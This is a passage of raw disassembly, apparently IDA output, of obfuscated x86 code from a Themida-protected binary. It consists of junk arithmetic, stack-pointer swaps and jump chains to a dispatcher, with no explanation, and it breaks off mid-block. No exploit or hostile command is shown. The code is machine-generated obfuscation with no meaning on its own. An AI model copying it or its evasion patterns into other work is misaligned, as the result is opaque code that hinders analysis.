; ---------------------------------------------------------------------------
loc_59BC20: ; CODE XREF: Themida_:0059DA07j
neg ebp
push 0
sub [esp], ebp
pop ebp
jmp loc_59D1D5
; ---------------------------------------------------------------------------
loc_59BC30: ; CODE XREF: Themida_:005A8A12j
pop esp
jmp loc_5A4F06
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
jmp loc_59F2A3
; ---------------------------------------------------------------------------
loc_59BC44: ; CODE XREF: Themida_:005A60A3j
push edx
push esi
mov esi, 67C50F29h
jmp loc_5A26AF
; ---------------------------------------------------------------------------
loc_59BC50: ; CODE XREF: Themida_:005A23AFj
push 18AAh
mov [esp], esp
jmp loc_5AA781
; ---------------------------------------------------------------------------
loc_59BC5D: ; CODE XREF: Themida_:005AD296j
not dword ptr [esp]
jmp loc_598CBC
; ---------------------------------------------------------------------------
loc_59BC65: ; CODE XREF: Themida_:005A8AB0j
push eax
mov eax, 1
jmp loc_5A3282
; ---------------------------------------------------------------------------
loc_59BC70: ; CODE XREF: Themida_:005A08D4j
; Themida_:005A574Cj
pop eax
xor dh, 6Dh
push ebx
jmp loc_5AB7B7
; ---------------------------------------------------------------------------
loc_59BC7A: ; CODE XREF: Themida_:005A99BBj
add ebp, 4E451A3Dh
jmp loc_59F709
; ---------------------------------------------------------------------------
loc_59BC85: ; CODE XREF: Themida_:loc_5A79ECj
xor dl, 8Ah
jmp loc_5A233A
; ---------------------------------------------------------------------------
loc_59BC8D: ; CODE XREF: Themida_:0059A486j
xchg ebp, [esp]
pop esp
pop edx
and ebx, 38287AD3h
jno loc_59D8E0
push 1E4h
mov [esp], edx
mov edx, 6654017Ah
xor ebx, edx
loc_59BCAD: ; CODE XREF: Themida_:00599A49j
; Themida_:005A773Bj
sub [esp], al
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59BCB6: ; CODE XREF: Themida_:005A7134j
sub esp, 4
mov [esp], edi
jmp loc_5ABB0D
; ---------------------------------------------------------------------------
loc_59BCC4: ; CODE XREF: Themida_:0059FD90j
mov eax, [esp]
sub esp, 4
mov [esp], eax
push esp
pop eax
jmp loc_59E414
; ---------------------------------------------------------------------------
loc_59BCD7: ; CODE XREF: Themida_:0059AED5j
mov ebx, 4
add ebp, ebx
jmp loc_5A722C
; ---------------------------------------------------------------------------
loc_59BCE3: ; CODE XREF: Themida_:005A04C3j
push 2043h
mov [esp], ebp
mov ebp, 668E53C3h
shl ebp, 8
and ebp, 65765A92h
jmp loc_59A65E
; ---------------------------------------------------------------------------
loc_59BCFE: ; CODE XREF: Themida_:0059CB96j
; Themida_:0059F957j
pop eax
add eax, 4
push ebp
push 5186h
jmp loc_5A2535
; ---------------------------------------------------------------------------
loc_59BD0F: ; CODE XREF: Themida_:0059CA2Bj
push eax
jmp loc_5A3FA7
; ---------------------------------------------------------------------------
loc_59BD15: ; CODE XREF: Themida_:005A49C2j
mov ebp, edx
pop edx
add esi, ebp
pop ebp
sub esp, 4
mov [esp], esi
jmp loc_5A22CE
; ---------------------------------------------------------------------------
loc_59BD26: ; CODE XREF: Themida_:005A2F28j
add eax, 645014E4h
add eax, 166932F1h
add eax, edx
jmp loc_5A9D46
; ---------------------------------------------------------------------------
loc_59BD37: ; CODE XREF: Themida_:005A3206j
push 0
jmp loc_599D9B
; ---------------------------------------------------------------------------
loc_59BD41: ; CODE XREF: Themida_:005A1035j
pop edi
add edx, ebx
push eax
mov eax, 0
add eax, edx
push ecx
mov ecx, 0
add ecx, eax
add [ecx], esi
jmp loc_5A49C7
; ---------------------------------------------------------------------------
loc_59BD5B: ; CODE XREF: Themida_:005AC723j
mov [esp], ebx
mov ebx, esp
sub esp, 4
mov [esp], ecx
push eax
mov eax, 5CF04482h
jmp loc_59E3D7
; ---------------------------------------------------------------------------
loc_59BD74: ; CODE XREF: Themida_:005AC321j
push 1E90h
jmp loc_59A1A6
; ---------------------------------------------------------------------------
loc_59BD7E: ; CODE XREF: Themida_:005AE261j
push edx
jmp loc_5ACEC4
; ---------------------------------------------------------------------------
loc_59BD84: ; CODE XREF: Themida_:0059ECAAj
pop esi
add esp, 4
add esi, 8047B71Ch
add ebp, esi
mov esi, [esp]
jmp loc_5A649C
; ---------------------------------------------------------------------------
loc_59BD98: ; CODE XREF: Themida_:0059D77Cj
xchg eax, [esp]
pop esp
jmp loc_5A0B0D
; ---------------------------------------------------------------------------
loc_59BDA1: ; CODE XREF: Themida_:0059CD5Bj
pop edi
sub ebx, eax
pop eax
jmp loc_5AEC65
; ---------------------------------------------------------------------------
loc_59BDAA: ; CODE XREF: Themida_:0059B274j
shl bh, 5
jnp loc_59BE42
and bh, 6Ch
jl loc_59D109
shr bh, 8
jnp loc_59E97B
push dx
jmp loc_5A1C10
; ---------------------------------------------------------------------------
loc_59BDCC: ; CODE XREF: Themida_:005A857Cj
push ebp
mov ebp, 61EC735Ah
and ebp, 4F9E666Fh
sub ebp, 0DB6F3E3Dh
or edi, ebp
pop ebp
jmp loc_5AAD4F
; ---------------------------------------------------------------------------
loc_59BDE6: ; CODE XREF: Themida_:0059CAAFj
push 6439h
mov [esp], edx
jmp loc_5ADCCE
; ---------------------------------------------------------------------------
loc_59BDF3: ; CODE XREF: Themida_:005AC207j
sub eax, 3CA10E9Fh
jmp loc_5A726D
; ---------------------------------------------------------------------------
loc_59BDFD: ; CODE XREF: Themida_:005AC86Bj
pop edx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push 3B44h
mov [esp], ecx
mov ecx, esp
push edi
mov edi, 4
add ecx, edi
pop edi
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
test ecx, eax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59BE37: ; CODE XREF: Themida_:005A1138j
xor [esp], esi
xor esi, [esp]
jmp loc_5A0E5B
; ---------------------------------------------------------------------------
loc_59BE42: ; CODE XREF: Themida_:0059BDADj
and bh, 6Ch
jl loc_5AEE0D
shr bh, 8
jnp loc_5A1ECA
jmp loc_5AC52F
; ---------------------------------------------------------------------------
loc_59BE59: ; CODE XREF: Themida_:005AD878j
shl edi, 6
or edi, 5192544Bh
shl edi, 6
sub edi, 9A0FB134h
add ebp, edi
pop edi
jmp loc_5A59F1
; ---------------------------------------------------------------------------
loc_59BE73: ; CODE XREF: Themida_:loc_5AEA43j
push ecx
push ebp
jmp loc_59E58D
; ---------------------------------------------------------------------------
loc_59BE7A: ; CODE XREF: Themida_:0059F2D6j
pop esi
push ebx
add dword ptr [esp], 6E3F76F4h
pop edx
sub edx, 6E3F76F4h
push dword ptr [esp]
mov ebx, [esp]
push edx
jmp loc_59F6A0
; ---------------------------------------------------------------------------
loc_59BE96: ; CODE XREF: Themida_:005A0857j
mov [esp], ecx
jmp loc_59F21C
; ---------------------------------------------------------------------------
loc_59BE9E: ; CODE XREF: Themida_:0059D3D4j
pop esi
jmp loc_59FBF3
; ---------------------------------------------------------------------------
loc_59BEA4: ; CODE XREF: Themida_:0059B210j
push small 0D00h
mov [esp], bx
mov bh, 9Ah
jmp loc_59B525
; ---------------------------------------------------------------------------
loc_59BEB3: ; CODE XREF: Themida_:005AB224j
sub bl, dh
pop edx
push eax
push 74B9h
mov [esp], edx
mov dh, bl
mov ah, dh
pop edx
mov dl, ah
pop eax
pop ebx
sub al, 0C1h
jmp loc_5A7F92
; ---------------------------------------------------------------------------
loc_59BECF: ; CODE XREF: Themida_:005ADB10j
push 1F92h
mov [esp], edi
mov edi, 47195A3Eh
xor edx, edi
jmp loc_5A5962
; ---------------------------------------------------------------------------
loc_59BEE3: ; CODE XREF: Themida_:005A7D2Cj
add esp, 4
add esp, 4
push 60B1h
mov [esp], ebx
push edx
jmp loc_59B5B2
; ---------------------------------------------------------------------------
loc_59BEFA: ; CODE XREF: Themida_:005A030Dj
push eax
jmp loc_5A2761
; ---------------------------------------------------------------------------
loc_59BF00: ; CODE XREF: Themida_:0059A16Aj
js loc_5A6A98
xor edx, 26F662E8h
sub edx, 0E75A2484h
push ebp
mov ebp, edx
mov ebx, ebp
pop ebp
jmp loc_5AF1E0
; ---------------------------------------------------------------------------
loc_59BF1D: ; CODE XREF: Themida_:005AA522j
pop edx
shl edx, 3
push ebp
push edx
push 33265EBh
pop edx
jmp loc_59FB34
; ---------------------------------------------------------------------------
loc_59BF2E: ; CODE XREF: Themida_:loc_5AB1E7j
add edx, 8BFF2E2h
jmp loc_5AE464
; ---------------------------------------------------------------------------
loc_59BF39: ; CODE XREF: Themida_:005A9139j
; Themida_:005ACF66j
add esp, 4
push ebx
mov ebx, esp
push edi
jmp loc_5A476E
; ---------------------------------------------------------------------------
loc_59BF48: ; CODE XREF: Themida_:0059A4FEj
add al, dl
pop dx
add al, 0EBh
jmp loc_5AC854
; ---------------------------------------------------------------------------
loc_59BF53: ; CODE XREF: Themida_:005A1F26j
push edi
mov edi, 7E734C0Ah
jmp loc_59D304
; ---------------------------------------------------------------------------
loc_59BF5E: ; CODE XREF: Themida_:005A9717j
mov [esp], eax
mov eax, esp
push ebp
mov ebp, 4
sub eax, 57A4625Bh
add eax, ebp
jmp loc_5A25C8
; ---------------------------------------------------------------------------
loc_59BF75: ; CODE XREF: Themida_:005A382Bj
push edi
mov edi, 366A0A0Ch
jmp loc_5A34E9
; ---------------------------------------------------------------------------
push edi
jmp loc_5A009E
; ---------------------------------------------------------------------------
loc_59BF86: ; CODE XREF: Themida_:005A4C07j
; Themida_:005A944Aj ...
push ebp
jmp loc_5A325F
; ---------------------------------------------------------------------------
loc_59BF8C: ; CODE XREF: Themida_:005A7248j
mov [esp], edx
mov edx, 717F1299h
xor edx, 6F2F1BF3h
xor eax, edx
jmp loc_5ACC09
; ---------------------------------------------------------------------------
loc_59BFA1: ; CODE XREF: Themida_:005A2687j
push 1F50h
jmp loc_5A885D
; ---------------------------------------------------------------------------
loc_59BFAB: ; CODE XREF: Themida_:0059D34Cj
mov esi, edx
pop edx
add eax, esi
jmp loc_5AE29E
; ---------------------------------------------------------------------------
loc_59BFB5: ; CODE XREF: Themida_:005A8C48j
mov esi, 62E95381h
shr esi, 1
and esi, 695E49A1h
jbe loc_5A0CDB
sub esi, 64450EBCh
xor ebp, esi
jmp loc_5999BF
; ---------------------------------------------------------------------------
loc_59BFD5: ; CODE XREF: Themida_:00599869j
sub ebx, 42430800h
sub ebx, 18FE5BE2h
add ebx, ebp
jmp loc_5A913E
; ---------------------------------------------------------------------------
loc_59BFE8: ; CODE XREF: Themida_:005A9251j
and ebx, 106C2BEFh
jmp loc_5A66CE
; ---------------------------------------------------------------------------
loc_59BFF3: ; DATA XREF: Themida_:00598860o
mov esp, [esp]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59BFFB: ; CODE XREF: Themida_:005ABEC1j
neg eax
jns loc_5AD9AB
shl eax, 7
jmp loc_5A79E2
; ---------------------------------------------------------------------------
xor al, 39h
pop esp
loc_59C00F: ; CODE XREF: Themida_:005A046Ej
mov esp, [esp]
pop ecx
push 42AAh
mov [esp], ebp
mov ebp, 5A1C1741h
push 22Bh
mov [esp], edi
push ebx
mov ebx, 10944A66h
mov edi, 582F63A7h
xor edi, ebx
mov ebx, [esp]
add esp, 4
or ebp, edi
mov edi, [esp]
add esp, 4
shr ebp, 4
not ebp
xor ebp, 0E5BC5631h
sub ebx, ebp
pop ebp
jmp loc_59CC73
; ---------------------------------------------------------------------------
loc_59C059: ; CODE XREF: Themida_:005A2E2Dj
mov esp, [esp]
jmp loc_59E688
; ---------------------------------------------------------------------------
loc_59C061: ; CODE XREF: Themida_:005A2EF7j
sub ecx, 5E9BFA7Eh
add ebp, ecx
pop ecx
push esi
mov esi, esp
sub esp, 4
mov [esp], ebx
mov ebx, 23B82AFDh
neg ebx
neg ebx
push ebp
mov ebp, 348754A9h
jmp loc_59E93F
; ---------------------------------------------------------------------------
loc_59C087: ; CODE XREF: Themida_:005ACD31j
pop ebx
jmp loc_5AC38E
; ---------------------------------------------------------------------------
loc_59C08D: ; CODE XREF: Themida_:005A1B74j
push 38DFh
mov [esp], ecx
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59C09A: ; CODE XREF: Themida_:0059A28Bj
shl ecx, 7
jmp loc_5A0B23
; ---------------------------------------------------------------------------
loc_59C0A2: ; CODE XREF: Themida_:005AAC94j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
pop eax
sub dh, 79h
add dh, ch
add dh, 79h
jmp loc_5A7AF1
; ---------------------------------------------------------------------------
loc_59C0BF: ; CODE XREF: Themida_:0059A5B1j
mov edi, esp
sub esp, 4
jmp loc_5AEC34
; ---------------------------------------------------------------------------
loc_59C0C9: ; CODE XREF: Themida_:005AF294j
mov ch, 0B5h
shr ch, 4
sub ch, 5Fh
add ah, ch
pop ecx
add cl, 69h
add cl, ah
sub cl, 69h
mov eax, [esp]
add esp, 4
add al, 0A3h
add al, cl
push ebx
push ecx
push eax
mov ah, 0A3h
mov cl, ah
mov eax, [esp]
add esp, 4
jmp loc_5A2CE5
; ---------------------------------------------------------------------------
loc_59C0FB: ; CODE XREF: Themida_:005ACAE5j
inc edx
inc edx
sub edx, 5F0D728Ch
jmp loc_59DF73
; ---------------------------------------------------------------------------
loc_59C108: ; CODE XREF: Themida_:005AA133j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push dword ptr [esp]
jmp loc_59BA41
; ---------------------------------------------------------------------------
loc_59C11D: ; CODE XREF: Themida_:005ABDF5j
pop edx
jmp loc_5A8769
; ---------------------------------------------------------------------------
loc_59C123: ; CODE XREF: Themida_:005A9F67j
push 651h
mov [esp], esi
mov edi, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
push ebp
push ecx
jmp loc_5A6A0A
; ---------------------------------------------------------------------------
loc_59C13D: ; CODE XREF: Themida_:005A2405j
mov edi, ebx
pop ebx
add ecx, 37DB4994h
jmp loc_5A0DBA
; ---------------------------------------------------------------------------
loc_59C14B: ; CODE XREF: Themida_:0059B3CFj
sub ecx, 51F73E7Ch
neg ecx
add ecx, 2DFB3EC7h
shl ecx, 8
xor ecx, 3A0621B0h
push 3B6Dh
mov [esp], eax
push 277F3A6Eh
jmp loc_5A4BBA
; ---------------------------------------------------------------------------
loc_59C174: ; CODE XREF: Themida_:005A8147j
sub esp, 4
mov [esp], edi
push ecx
push edx
push 3C3F10DEh
jmp loc_5A7FB2
; ---------------------------------------------------------------------------
loc_59C189: ; CODE XREF: Themida_:0059A953j
; Themida_:loc_59B3DEj
pop edi
jmp loc_5A6363
; ---------------------------------------------------------------------------
loc_59C18F: ; CODE XREF: Themida_:005AB5AAj
or bl, 95h
jmp loc_5A30BB
; ---------------------------------------------------------------------------
loc_59C197: ; CODE XREF: Themida_:005AAC82j
xchg ecx, [esp]
pop esp
mov edx, [esp]
add esp, 4
push edi
jmp loc_5A2147
; ---------------------------------------------------------------------------
loc_59C1A7: ; CODE XREF: Themida_:005ADA93j
add eax, ecx
add eax, 29820B73h
push ebx
push esi
push 7404409Dh
pop esi
jmp loc_5A928D
; ---------------------------------------------------------------------------
loc_59C1BB: ; CODE XREF: Themida_:0059D688j
add esi, 4
add esi, 4
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
inc edi
jnp loc_5A5742
shr edi, 5
jnz loc_5A6A04
push ebp
jmp loc_59D459
; ---------------------------------------------------------------------------
mov ecx, 640E47F2h
not ecx
pop edi
loc_59C1F6: ; CODE XREF: Themida_:005A09BAj
sub ebx, eax
pop eax
add ebx, edx
add ebx, 15EA4D38h
push ebp
mov ebp, 3AF20E65h
inc ebp
sub ebp, 0F3B8F549h
sub ebx, ebp
pop ebp
pop edx
sub ebx, 2
xchg ebx, [esp]
jmp loc_59B745
; ---------------------------------------------------------------------------
loc_59C21D: ; CODE XREF: Themida_:0059B4A7j
push edx
jmp loc_5A73B1
; ---------------------------------------------------------------------------
loc_59C223: ; CODE XREF: Themida_:005AC828j
sub eax, 77316277h
pop esi
xchg eax, [esp]
mov esp, [esp]
mov [esp], ecx
xchg edi, [esp]
not edi
xchg edi, [esp]
pop ecx
xor eax, ecx
xor ecx, eax
jmp loc_599A4E
; ---------------------------------------------------------------------------
loc_59C244: ; CODE XREF: Themida_:005A5B5Aj
neg cl
neg cl
jmp loc_5A8B54
; ---------------------------------------------------------------------------
loc_59C24D: ; CODE XREF: Themida_:005A95B6j
push ecx
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59C254: ; CODE XREF: Themida_:005A79F5j
; Themida_:005AAD55j
add esi, edi
pop edi
sub esp, 4
mov [esp], ecx
mov ecx, 4
add esi, ecx
pop ecx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59C274: ; CODE XREF: Themida_:005AA400j
push ecx
mov ecx, 1DC923AAh
shr ecx, 4
jmp loc_59F813
; ---------------------------------------------------------------------------
loc_59C282: ; CODE XREF: Themida_:0059AA8Ej
xor ebx, 0B369F022h
mov ecx, ebx
pop ebx
push 0
sub [esp], ecx
mov ecx, [esp]
add esp, 4
xor ecx, 0CCD8914Fh
add ebp, 42B62F9h
add ebp, 686D676Dh
jmp loc_5A9189
; ---------------------------------------------------------------------------
loc_59C2B0: ; CODE XREF: Themida_:005A294Cj
mov [esp], eax
push edi
mov edi, 1440FF6h
inc edi
jg loc_5A497C
add edi, 7CB402BAh
jl loc_5A0008
loc_59C2CC: ; CODE XREF: Themida_:005A27CAj
pop esi
jmp loc_59CA67
; ---------------------------------------------------------------------------
loc_59C2D2: ; CODE XREF: Themida_:005AC412j
mov [esp], ecx
jmp loc_5A520B
; ---------------------------------------------------------------------------
loc_59C2DA: ; CODE XREF: Themida_:005A512Dj
xchg ebp, esi
xor ebp, eax
xor eax, ebp
xor ebp, eax
xchg eax, ebp
jmp loc_5A5186
; ---------------------------------------------------------------------------
loc_59C2E8: ; CODE XREF: Themida_:005A647Ej
pop ebp
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
push esp
jmp loc_5AB0AF
; ---------------------------------------------------------------------------
loc_59C2FC: ; CODE XREF: Themida_:005A6F82j
not edx
shr edx, 5
xor edx, 338E1CA5h
mov esi, edx
jmp loc_5AC9D6
; ---------------------------------------------------------------------------
loc_59C30E: ; CODE XREF: Themida_:005A8646j
push dword ptr [esp]
pop ecx
jmp loc_599FDB
; ---------------------------------------------------------------------------
loc_59C317: ; CODE XREF: Themida_:005A4ABAj
; Themida_:005ADA07j
xchg ebp, [esp]
pop esp
xor bh, al
mov ax, [esp]
add esp, 2
jmp loc_5A5B1D
; ---------------------------------------------------------------------------
loc_59C32C: ; CODE XREF: Themida_:005A2007j
sub ebx, 3F892558h
jmp loc_5ABC89
; ---------------------------------------------------------------------------
loc_59C337: ; CODE XREF: Themida_:005A42EEj
pop bx
jmp loc_5AB755
; ---------------------------------------------------------------------------
loc_59C33E: ; CODE XREF: Themida_:0059D1A7j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_5AE3DD
; ---------------------------------------------------------------------------
loc_59C351: ; CODE XREF: Themida_:005A2136j
push esp
pop ecx
add ecx, 4
add ecx, 4
jmp loc_5A747A
; ---------------------------------------------------------------------------
loc_59C364: ; CODE XREF: Themida_:0059C868j
push eax
push ebx
mov ebx, 525F53BBh
sub ebx, 20D867CAh
and ebx, 51C06454h
jno loc_5AC7B6
jmp loc_59E31D
; ---------------------------------------------------------------------------
mov ebx, esp
jmp loc_5ADCDA
; ---------------------------------------------------------------------------
imul cl
loc_59C38B: ; CODE XREF: Themida_:0059F69Bj
mov edx, [esp]
push ebp
jmp loc_59DEA4
; ---------------------------------------------------------------------------
loc_59C394: ; CODE XREF: Themida_:005A1AB0j
add eax, ebx
jmp loc_59E31D
; ---------------------------------------------------------------------------
loc_59C39B: ; CODE XREF: Themida_:005AAB6Aj
mov ch, bl
jmp loc_59D71A
; ---------------------------------------------------------------------------
loc_59C3A2: ; CODE XREF: Themida_:0059D312j
push ebp
mov ebp, 2B965C7Dh
sub ebp, 163C3AB0h
push 239h
mov [esp], eax
mov eax, 4A216A0h
sub eax, 0FFFFFFFFh
sub eax, 1B040AE8h
shl eax, 6
add eax, 0FF3B86F9h
jmp loc_5AEAFE
; ---------------------------------------------------------------------------
loc_59C3D2: ; CODE XREF: Themida_:0059A8FDj
pop edx
xchg eax, [esp]
pop esp
mov [esp], ebx
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_5A328C
; ---------------------------------------------------------------------------
loc_59C3EA: ; CODE XREF: Themida_:005A53C6j
mov ebx, 393A7D1Eh
shl ebx, 7
sub ebx, 0D5C5FC2Fh
add edx, 355C4354h
jmp loc_5ABF9D
; ---------------------------------------------------------------------------
loc_59C403: ; CODE XREF: Themida_:005AB8E7j
mov esp, [esp]
jmp loc_5ACC77
; ---------------------------------------------------------------------------
loc_59C40B: ; CODE XREF: Themida_:005ACABBj
sub bx, 58D3h
pop cx
add bx, ax
push 6C37h
mov [esp], ecx
push dx
jmp loc_5A5D7F
; ---------------------------------------------------------------------------
loc_59C424: ; DATA XREF: Themida_:005986D8o
mov ax, [esp]
sub esp, 4
jmp loc_5A1FFD
; ---------------------------------------------------------------------------
loc_59C430: ; CODE XREF: Themida_:0059AB6Cj
add ebx, edx
sub ebx, 312E4B4Ah
add ebx, 6ED40959h
add eax, [ebx]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59DDF3
; ---------------------------------------------------------------------------
loc_59C44B: ; CODE XREF: Themida_:005A8216j
push 1C13h
mov [esp], ebp
push eax
mov eax, 23F264Fh
mov ebp, 5FB4B3A9h
jmp loc_5AA613
; ---------------------------------------------------------------------------
loc_59C463: ; CODE XREF: Themida_:005A1EB9j
; Themida_:005AFB37j
xor esi, 703B880Dh
xor edx, esi
pop esi
push edx
pop ebx
pop edx
jmp loc_5A53FE
; ---------------------------------------------------------------------------
loc_59C474: ; CODE XREF: Themida_:005ADEF3j
mov [esp], ebx
mov ebx, 2
add esi, 7BD246CFh
sub esi, 69A13E1Eh
jmp loc_5AE06E
; ---------------------------------------------------------------------------
loc_59C48D: ; CODE XREF: Themida_:0059F2E4j
mov eax, 4
add ebp, eax
jmp loc_59FA99
; ---------------------------------------------------------------------------
loc_59C499: ; CODE XREF: Themida_:005A6BBCj
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
add esp, 4
xor edx, edx
push 67B2h
mov [esp], ebx
push 0B34h
mov [esp], ecx
mov ecx, 397E7865h
add [esp+4], ecx
push dword ptr [esp]
pop ecx
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_5A28C9
; ---------------------------------------------------------------------------
loc_59C4E7: ; CODE XREF: Themida_:00599234j
add ebp, ebx
pop ebx
mov edx, [esp]
jmp loc_5A28E4
; ---------------------------------------------------------------------------
loc_59C4F2: ; CODE XREF: Themida_:005A25FDj
; Themida_:005AA85Ej
mov ecx, 77AF24F0h
inc ecx
jmp loc_5AD39C
; ---------------------------------------------------------------------------
loc_59C4FD: ; CODE XREF: Themida_:0059F217j
mov ecx, [esp]
add esp, 4
xor al, dh
mov dx, [esp]
push 1693h
mov [esp], ecx
push edx
mov edx, esp
jmp loc_5A42FE
; ---------------------------------------------------------------------------
loc_59C51C: ; CODE XREF: Themida_:0059AE99j
mov edx, 11A279A2h
shr edx, 5
xor edx, 1ED15D2Ch
inc edx
jmp loc_59C9D8
; ---------------------------------------------------------------------------
loc_59C530: ; CODE XREF: Themida_:005AD1E1j
sub esp, 4
mov [esp], ecx
push 1B28h
mov [esp], ebx
mov ebx, 592A4F0Fh
mov ecx, 500D598Eh
xor ecx, ebx
mov ebx, [esp]
jmp loc_59B809
; ---------------------------------------------------------------------------
loc_59C552: ; CODE XREF: Themida_:005A8E22j
push dword ptr [esp]
pop ebp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
push esi
push 7263h
mov [esp], edi
mov edi, 105422AFh
mov esi, edi
jmp loc_59D0C8
; ---------------------------------------------------------------------------
loc_59C584: ; CODE XREF: Themida_:loc_5993B6j
; Themida_:005ACBC5j
mov edi, 5FC2463Bh
or edi, 644936AFh
not edi
sub edi, 54F2358Ah
shl edi, 1
jmp loc_5A8D0B
; ---------------------------------------------------------------------------
loc_59C59E: ; CODE XREF: Themida_:0059B937j
; Themida_:005A6541j
add ch, 54h
jmp loc_5A3C51
; ---------------------------------------------------------------------------
loc_59C5A6: ; CODE XREF: Themida_:0059A641j
jmp loc_5AEF3D
; ---------------------------------------------------------------------------
loc_59C5AB: ; CODE XREF: Themida_:0059C610j
sub [esp+4], cx
pop cx
jmp loc_5AA4E3
; ---------------------------------------------------------------------------
loc_59C5B7: ; CODE XREF: Themida_:005A42C6j
xor esi, eax
mov eax, [esp]
add esp, 4
jmp loc_5A2DF9
; ---------------------------------------------------------------------------
loc_59C5C4: ; CODE XREF: Themida_:005ACDF2j
mov ebx, esp
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], edx
jmp loc_5A904A
; ---------------------------------------------------------------------------
loc_59C5D7: ; CODE XREF: Themida_:0059E4BFj
not esi
add esi, 1
push ecx
mov ecx, 3AEF0ED5h
inc ecx
shr ecx, 2
and ecx, 390347EDh
jmp loc_59FE6B
; ---------------------------------------------------------------------------
loc_59C5F4: ; CODE XREF: Themida_:005ABE3Dj
dec esi
jmp loc_59ECED
; ---------------------------------------------------------------------------
loc_59C5FA: ; CODE XREF: Themida_:00598EE1j
add esi, 4
add esi, 2
xchg esi, [esp]
pop esp
push cx
mov cx, 3B15h
jmp loc_59C5AB
; ---------------------------------------------------------------------------
loc_59C615: ; CODE XREF: Themida_:005A9B52j
sub eax, 5FC213D4h
sub edi, eax
jmp loc_5A36B2
; ---------------------------------------------------------------------------
loc_59C621: ; CODE XREF: Themida_:005AE63Ej
movzx cx, ah
jmp loc_598D48
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], esp
push ebp
push edi
jmp loc_5A0F99
; ---------------------------------------------------------------------------
loc_59C64C: ; CODE XREF: Themida_:005A6F3Dj
push esp
pop ebp
push 650h
mov [esp], edi
mov edi, 4
jmp loc_59E650
; ---------------------------------------------------------------------------
loc_59C660: ; CODE XREF: Themida_:005A9DA1j
add esp, 4
mov ebp, ecx
pop ecx
jmp loc_5A32AB
; ---------------------------------------------------------------------------
loc_59C66E: ; CODE XREF: Themida_:005AADA7j
jmp loc_5989A3
; ---------------------------------------------------------------------------
lodsd
push 430h
jmp loc_5A3AA7
; ---------------------------------------------------------------------------
loc_59C67E: ; CODE XREF: Themida_:005AB131j
pop esi
jmp loc_59F3BA
; ---------------------------------------------------------------------------
loc_59C684: ; CODE XREF: Themida_:0059C6A5j
; Themida_:0059D4CFj
mov ebp, [esp]
add esp, 4
jmp loc_5A32CC
; ---------------------------------------------------------------------------
loc_59C692: ; CODE XREF: Themida_:005AF5D9j
push dx
mov dl, 0F7h
add al, dl
pop dx
jmp loc_59EF4C
; ---------------------------------------------------------------------------
loc_59C69F: ; CODE XREF: Themida_:005AD932j
jns loc_5AB636
jmp loc_59C684
; ---------------------------------------------------------------------------
xor ebp, [esp]
mov esp, [esp]
mov ch, 0C4h
loc_59C6B2: ; CODE XREF: Themida_:005A7512j
inc ebx
jmp loc_59DFDF
; ---------------------------------------------------------------------------
loc_59C6B8: ; CODE XREF: Themida_:0059CF40j
jmp loc_5AE764
; ---------------------------------------------------------------------------
loc_59C6BD: ; CODE XREF: Themida_:0059F10Ej
mov ebx, [esp]
add esp, 4
jmp loc_5AF4A4
; ---------------------------------------------------------------------------
loc_59C6C8: ; CODE XREF: Themida_:005993D4j
; Themida_:00599F36j
mov ecx, esp
jmp loc_5ABA64
; ---------------------------------------------------------------------------
loc_59C6CF: ; CODE XREF: Themida_:0059D789j
; Themida_:loc_59DAB6j
mov ebx, [esp]
add esp, 4
mov edi, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
push small word ptr [eax]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59C6E7: ; CODE XREF: Themida_:005A86D2j
mov ecx, [esp]
add esp, 4
push edx
mov edx, esp
sub esp, 4
mov [esp], eax
mov eax, 4
push edi
jmp loc_5AD224
; ---------------------------------------------------------------------------
lodsd
jmp loc_5A50D3
; ---------------------------------------------------------------------------
loc_59C70A: ; CODE XREF: Themida_:0059EDD3j
mov eax, ebp
push dword ptr [esp]
pop ebp
jmp loc_59B4CF
; ---------------------------------------------------------------------------
loc_59C715: ; CODE XREF: Themida_:005AFC91j
add ebx, 4C015AEEh
sub ebx, esi
sub ebx, 4C015AEEh
jmp loc_5A550B
; ---------------------------------------------------------------------------
loc_59C728: ; CODE XREF: Themida_:005A40A2j
add ecx, edi
mov edi, [esp]
add esp, 4
xor ebp, ecx
jmp loc_59D054
; ---------------------------------------------------------------------------
loc_59C737: ; CODE XREF: Themida_:005AEB00j
pop eax
jmp loc_5ADC01
; ---------------------------------------------------------------------------
loc_59C73D: ; CODE XREF: Themida_:0059DF5Aj
pop ebp
jmp loc_5AFA5D
; ---------------------------------------------------------------------------
loc_59C743: ; CODE XREF: Themida_:0059B733j
push 3AC1h
jmp loc_5AE941
; ---------------------------------------------------------------------------
loc_59C74D: ; CODE XREF: Themida_:005A23BFj
pop edi
xor ecx, eax
pop eax
jmp loc_5A56B7
; ---------------------------------------------------------------------------
loc_59C756: ; CODE XREF: Themida_:005A54BAj
push ebx
